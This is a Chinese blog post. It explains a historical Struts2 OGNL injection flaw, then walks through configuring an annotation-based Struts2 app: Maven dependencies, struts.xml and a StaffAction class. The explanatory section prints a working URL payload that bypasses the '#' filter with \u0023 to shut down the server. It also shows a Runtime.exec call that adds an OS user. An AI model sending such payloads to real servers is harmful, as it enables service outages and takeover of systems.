好久好久没用过struts2，都说struts2被抛弃了，原因就在于这个框架本身有好多漏洞。
当时设计这个的时候还是非常先进的，只不过后来一直不停的修修补补，而且为了适应整合spring，加了好多action管理的jar包，这就导致了struts2产生漏洞了。
下面是引用的漏洞原因：
Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL语句。 当我们提交一个http参数:?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL将它转换为:
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。
为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:
此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击
?('\u0023_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
转义后是这样:
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL处理时最终的结果就是
java.lang.Runtime.getRuntime().exit(1); //关闭程序,即将web程序关闭
类似的可以执行
java.lang.Runtime.getRuntime().exec("net user 用户名 密码 /add");//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/)
只要有权限就可以执行任何DOS命令。
现在做struts2的配置基本都是以注解的方式，简明扼要，好几年没用过，突然再用好不习惯，意料之中发现问题了，竟然找不到action。
今天做这个例子的时候碰到一个超级bug，折腾了俩小时
以前的strut2版本是2.3.1.2，想升级一下这个版本，改为2.3.34，结果替换完就启动报错了，一直报错
There is no Action mapped for namespace [/] and action name [staff!list] associated with context path [].
估计学struts的人没有不碰到这个错误的。提示很明显，找不到这个action，但是什么原因呢，提示不清楚，就一直猜。
最后没办法，又替换原来的struts的版本，竟然好了。
不知道这两年struts2升级哪些功能了，以前的程序竟然不能用了。
还有一个大的bug是struts2里面的所有action都必须在上级包名为action、struts等下面，不能为其他的，虽然官方有提示，谁也不能看这个啊
过程如下：
pom.xml添加依赖，包括struts2-core、javassist
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.3.1.2</version>
</dependency>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.1.GA</version>
</dependency>
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-convention-plugin</artifactId>
<version>2.3.1.2</version>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.18</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<version>2.5</version>
</dependency>
<!-- https://mvnrepository.com/artifact/log4j/log4j -->
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>
struts.xml，很简洁了
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.1//EN"
"http://struts.apache.org/dtds/struts-2.1.dtd">
<struts>
<constant name="struts.devMode" value="true" />
<constant name="struts.convention.result.path" value="/" />
<constant name="struts.convention.package.locators" value="action" /><!--
很重要，必须把action放到该包下面 -->
</struts>
StaffAction
这里面几个核心注解：
@ParentPackage指继承struts的默认包
@Namespace指请求路径
@Action指当前类的名称
@Results指方法名和返回值jsp，type有redirect是跳转，url会变
页面的请求方法为http://localhost:8080/staff!list.action
利用!分隔开action的名称和方法名，非常独特
@ParentPackage("struts-default")
@Namespace("/")
@Action("staff")
@Results({ @Result(name = "list", location = "/list.jsp"), @Result(name = "toAdd", location = "/add.jsp"),
@Result(name = "home", location = "staff!list.action", type = "redirect") })
public class StaffAction extends ActionSupport {
private static final long serialVersionUID = 1L;
private List<Staff> staffList;
private Staff staff;
public String list() {
StaffDao staffDao = new StaffDao();
staffList = staffDao.list();
return "list";
}
public String toAdd() {
return "toAdd";
}
public String add() {
StaffDao staffDao = new StaffDao();
staffDao.add(staff.getName());
return "home";
}
public void setStaffList(List<Staff> staffList) {
this.staffList = staffList;
}
public List<Staff> getStaffList() {
return staffList;
}
public Staff getStaff() {
return staff;
}
public void setStaff(Staff staff) {
this.staff = staff;
}
}
